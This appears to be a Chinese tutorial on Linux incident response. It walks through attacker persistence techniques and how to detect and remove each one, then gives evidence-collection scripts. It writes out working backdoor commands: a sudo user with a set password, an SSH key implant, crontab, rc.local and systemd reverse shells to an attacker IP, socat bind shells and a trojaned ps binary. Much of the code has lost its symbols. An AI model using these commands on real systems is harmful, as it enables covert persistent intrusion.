Linux应急响应-创建恶意用户、ssh公钥植入、计划任务、开机启动项、命令替换、历史命令注入

发布时间:2026/5/20 7:02:19

Linux应急响应-创建恶意用户、ssh公钥植入、计划任务、开机启动项、命令替换、历史命令注入 Linux应急响应-创建恶意用户、ssh公钥植入、计划任务、开机启动项、命令替换、历史命令注入常见的后渗透操作、权限维持方法及应急响应方法包含操作前后的对比效果并补充了其他常见攻击手法一、记录初始状态模拟攻击前记录初始状态用户列表cat /etc/passwd | grep -v /sbin/nologinSSH公钥ls -la /home/*/.ssh/authorized_keys 2/dev/null检查root用户的SSH公钥ls -la /root/.ssh/authorized_keys 2/dev/null查看公钥内容cat /root/.ssh/authorized_keys 2/dev/null计划任务crontab -l ls /etc/cron*二、后渗透与权限维持操作1. 创建恶意用户用于攻击操作记录初始状态用户列表cat /etc/passwd | grep -v /sbin/nologin操作命令sudouseradd-m-s/bin/bash hacker_user# 创建用户并设置bash为shellechohacker_user:password123|sudochpasswd# 设置密码sudousermod-aGsudohacker_user# 将用户加入sudo组模拟提权操作前后对比操作前/etc/passwd中无hacker_user条目。操作后grephacker_user /etc/passwd# 输出示例hacker_user:x:1001:1001::/home/hacker_user:/bin/bash登陆测试hacker_user/password123应急响应删除恶意用户sudouserdel-rhacker_user# -r删除主目录检查/etc/sudoers和/etc/group确认无残留权限。2. SSH公钥后门记录初始状态SSH公钥ls -la /home/*/.ssh/authorized_keys 2/dev/null检查root用户的SSH公钥ls -la /root/.ssh/authorized_keys 2/dev/null查看公钥内容cat /root/.ssh/authorized_keys 2/dev/null受害机上先安装运行ssh服务sudosystemctl startssh# 尝试启动 ssh 服务sudosystemctl statusssh# 检查状态操作命令# 在攻击机上生成密钥对若未生成# ssh-keygen -t rsa -f ~/.ssh/id_rsa_hacker# 提取公钥内容避免手动复制粘贴错误PUBLIC_KEY$(cat~/.ssh/id_rsa_hacker.pub)# 为 root 用户添加公钥sudomkdir-p/root/.sshecho$PUBLIC_KEY|sudotee-a/root/.ssh/authorized_keys/dev/nullsudochmod600/root/.ssh/authorized_keys# 为 kali 用户添加公钥确保用户存在sudomkdir-p/home/kali/.sshecho$PUBLIC_KEY|sudotee-a/home/kali/.ssh/authorized_keys/dev/nullsudochownkali:kali /home/kali/.ssh /home/kali/.ssh/authorized_keys# 修正属主和属组sudochmod700/home/kali/.ssh# 确保目录权限正确sudochmod600/home/kali/.ssh/authorized_keys# 确保文件权限正确操作前后对比操作前/home/*/.ssh/authorized_keys文件不存在或为空。操作后cat/home/kali/.ssh/authorized_keys# 输出示例ssh-rsa AAAAB3NzaC1... hackerattack攻击机使用私钥进行ssh登陆ssh root192.168.230.136 -p 22 -i ~/.ssh/id_rsa_hacker应急响应搜索所有用户的SSH公钥sudofind/home-nameauthorized_keys-execcat{}\;清空或删除可疑公钥并限制SSH访问sudochmod600/home/*/.ssh/authorized_keys# 确保权限正确3. 计划任务后门3.1添加全局计划任务操作命令# 添加全局计划任务/etc/crontabecho* * * * * root /bin/bash -c bash -i /dev/tcp/攻击机IP/4444 01|sudotee-a/etc/crontab操作前后对比操作前cat /etc/crontab无异常条目。操作后cat/etc/crontab|grepbash -i# 输出示例* * * * * root /bin/bash -c bash -i /dev/tcp/攻击机IP/4444 01攻击机监听4444端口等待反弹的shellnc-lnvp4444应急响应检查所有计划任务目录ls/etc/cron* /var/spool/cron/# 包括cron.d, cron.daily等删除恶意任务sudosed-i/bash -i/d/etc/crontab# 编辑文件删除行crontab-r# 清除当前用户的计划任务谨慎操作4. 隐藏进程与端口监听操作命令# 使用nohup隐藏反弹shell进程nohupbash-i/dev/tcp/攻击机IP/666601# 使用socat监听端口更隐蔽sudosocat TCP-LISTEN:7777,fork EXEC:/bin/bash,pty,stderr,setsid,sigint,sane2/dev/null操作前后对比操作前netstat -tulnp | grep -E 6666|7777无输出。操作后netstat-tulnp|grep6666# 输出示例tcp 0 0 0.0.0.0:6666 0.0.0.0:* LISTEN 1234/bash应急响应查找异常进程psauxf|grep-Ebash|socat# 检查可疑进程树终止进程并删除文件sudokill-9PID# 替换PID为实际进程ID5. 开机启动项原理通过/etc/rc.local或Systemd服务实现开机自启。# 方法1修改rc.local需确保文件可执行echo/bin/bash -c bash -i /dev/tcp/attacker_ip/4444 01/etc/rc.localchmodx /etc/rc.local# 方法2创建Systemd服务cat/etc/systemd/system/malicious.serviceEOF [Unit] DescriptionMalicious Service Afternetwork.target [Service] ExecStart/bin/bash -c bash -i /dev/tcp/attacker_ip/4444 01 Userroot [Install] WantedBymulti-user.target EOFsystemctlenablemalicious.service# 启用服务检查/etc/rc.local和/etc/systemd/system/下的异常服务。 使用systemctl list-unit-files--typeservice|grepenabled查看已启用服务。三、补充攻击手法1. 命令替换替换/bin/ps命令将系统命令替换为恶意脚本每次执行时触发后门1.备份原命令mv/usr/bin/ps /tmp/ps.bak2.创建恶意脚本echo#!/bin/bash/usr/bin/psecho/bin/bash -i /dev/tcp/攻击机IP/8888 01 /usr/bin/psecho/tmp/ps.bak $/usr/bin/ps# 调用原ps命令避免暴露chmodx /usr/bin/ps3.验证后门执行 ps 命令攻击机应收到反弹Shell。2. 历史命令注入可以让当前 Shell 的命令历史记录到 其他用户如 root 的历史文件中嫁祸他人如让安全团队误判是 root 误操作)操作命令exportHISTFILE/root/.bash_history# 强制写入root历史需提权echomalicious_command$HISTFILE应急响应检查所有用户历史sudofind/home-name.bash_history-execcat{}\;四、应急响应总结关键检查点用户/etc/passwd、/etc/shadow、/etc/group。SSH/home/*/.ssh/authorized_keys、/etc/ssh/sshd_config。计划任务/etc/crontab、/var/spool/cron/*、/etc/cron.*。进程ps auxf、netstat -tulnp、lsof -i。工具推荐rkhunter检查rootkit。chkrootkit基础后门检测。lynis系统安全审计。防御建议最小化安装服务关闭不必要的端口。使用fail2ban防止暴力破解。定期审计日志/var/log/auth.log、/var/log/syslog。通过以上操作和对比可以清晰理解攻击者如何利用反弹shell进行后渗透并掌握应急响应的关键步骤。五、 应急响应排查脚本1、自动化脚本一键排查攻击文件将以下脚本保存为find_modified_files.sh运行后自动输出设置的时间范围内被修改的高风险文件#!/bin/bash# 检查是否传入日期参数格式YYYY-MM-DDif[-n$2];thenSTART_DATE$1END_DATE$2elif[-n$1];then# 如果只传入一个日期则检查当天START_DATE$1END_DATE$1else# 默认检查今天START_DATE$(date%Y-%m-%d)END_DATE$(date%Y-%m-%d)fi# 定义时间范围起始日期的 00:00:00 至结束日期的 23:59:59START_TIME${START_DATE}00:00:00END_TIME${END_DATE}23:59:59echo 检查日期范围:$START_DATE至$END_DATEecho时间范围:$START_TIME至$END_TIME# 高风险目录列表HIGH_RISK_DIRS(/etc//home//root//bin//usr/bin//sbin//usr/sbin//tmp//var/tmp/)# 查找高风险目录中被修改的文件fordirin${HIGH_RISK_DIRS[]};doecho-e\n 检查目录:$dirfind$dir-typef-newermt$START_TIME!-newermt$END_TIME-printf%TY-%Tm-%Td %TH:%TM %p\n|sortdone运行方式chmodx find_attack_files.sh#检查今天./find_modified_files.sh#检查当天./find_modified_files.sh2024-05-01#检查日期范围./find_modified_files.sh2024-05-012024-05-032、自动化脚本保存所有用户的 history需 root 权限# 遍历所有用户保存他们的 history 文件foruserin$(cut-f1-d: /etc/passwd);doif[-f/home/$user/.bash_history];thencp/home/$user/.bash_history/tmp/${user}_bash_history_$(date%Y%m%d_%H%M%S).logfidone# 不要忘记 root 用户的 historyif[-f/root/.bash_history];thencp/root/.bash_history/tmp/root_bash_history_$(date%Y%m%d_%H%M%S).logfi3、自动化脚本应急响应证据收集脚本用于在 Linux 系统中快速保存关键证据如 history、日志、进程、网络状态等并自动将证据统一保存到 /tmp/emergency_response_evidence_$(date %Y%m%d_%H%M%S) 目录下避免覆盖并方便后续分析。直接运行需 root 权限emergency_collect.shchmod x emergency_collect.shsudo ./emergency_collect.sh#!/bin/bash# 应急响应证据收集脚本# 功能保存 history、日志、进程、网络、系统信息等关键证据# 输出目录/tmp/emergency_response_evidence_YYYYMMDD_HHMMSS/# 定义输出目录带时间戳EVIDENCE_DIR/tmp/emergency_response_evidence_$(date%Y%m%d_%H%M%S)mkdir-p$EVIDENCE_DIR# 记录脚本执行日志exec(tee-a${EVIDENCE_DIR}/script_execution.log)21echo[] 应急响应证据收集开始保存到:${EVIDENCE_DIR}echo[] 执行时间:$(date)echo# 1. 保存所有用户的 historyecho[*] 保存用户 history...foruserin$(cut-f1-d: /etc/passwd);doif[-f/home/$user/.bash_history];thencp/home/$user/.bash_history${EVIDENCE_DIR}/${user}_bash_history.logfidone# 保存当前 shell 的 history包括未写入的history-a# 强制写入当前用户的 historyfc-ln1${EVIDENCE_DIR}/current_shell_history.log# 2. 保存系统日志echo[*] 保存系统日志...tar-czf${EVIDENCE_DIR}/var_log.tar.gz--exclude/var/log/*.gz--exclude/var/log/*.old/var/log/ journalctl --no-pager${EVIDENCE_DIR}/journalctl_full.log2/dev/null# 3. 保存进程和网络信息echo[*] 保存进程和网络状态...psauxf${EVIDENCE_DIR}/processes.lognetstat-tulnp${EVIDENCE_DIR}/netstat.log2/dev/null ss-tulnp${EVIDENCE_DIR}/ss.log2/dev/nulllsof-i${EVIDENCE_DIR}/lsof.log2/dev/null# 4. 保存系统信息echo[*] 保存系统信息...uname-a${EVIDENCE_DIR}/uname.logdf-h${EVIDENCE_DIR}/disk_usage.logfree-h${EVIDENCE_DIR}/memory_usage.logmount${EVIDENCE_DIR}/mount_points.logcrontab-l${EVIDENCE_DIR}/root_crontab.log2/dev/null# root 的定时任务# 5. 保存防火墙规则和路由表echo[*] 保存网络配置...iptables-save${EVIDENCE_DIR}/iptables_rules.log2/dev/null nft list ruleset${EVIDENCE_DIR}/nftables_rules.log2/dev/nulliproute${EVIDENCE_DIR}/routing_table.logarp-an${EVIDENCE_DIR}/arp_table.log# 6. 保存关键文件哈希防止篡改echo[*] 计算关键文件哈希...forfilein/bin/ls /usr/bin/sudo /usr/bin/python /bin/bash;doif[-f$file];thenmd5sum$file${EVIDENCE_DIR}/${file##*/}_md5sum.logfidone# 7. 保存最近修改的文件可能被攻击者篡改echo[*] 保存最近修改的文件列表...find/-typef-mtime-1-execls-la{}\;${EVIDENCE_DIR}/recently_modified_files.log2/dev/null# 8. 保存当前内存信息可能包含恶意进程echo[*] 保存内存信息...cat/proc/meminfo${EVIDENCE_DIR}/proc_meminfo.logcat/proc/cpuinfo${EVIDENCE_DIR}/proc_cpuinfo.logechoecho[] 证据收集完成所有文件已保存到:${EVIDENCE_DIR}echo[] 建议将目录打包并远程备份echo tar -czvf emergency_evidence.tar.gz${EVIDENCE_DIR}echo scp emergency_evidence.tar.gz userremote_server:/backup/所有证据会自动保存到 /tmp/emergency_response_evidence_YYYYMMDD_HHMMSS/。脚本会生成一个 script_execution.log记录所有操作。

相关新闻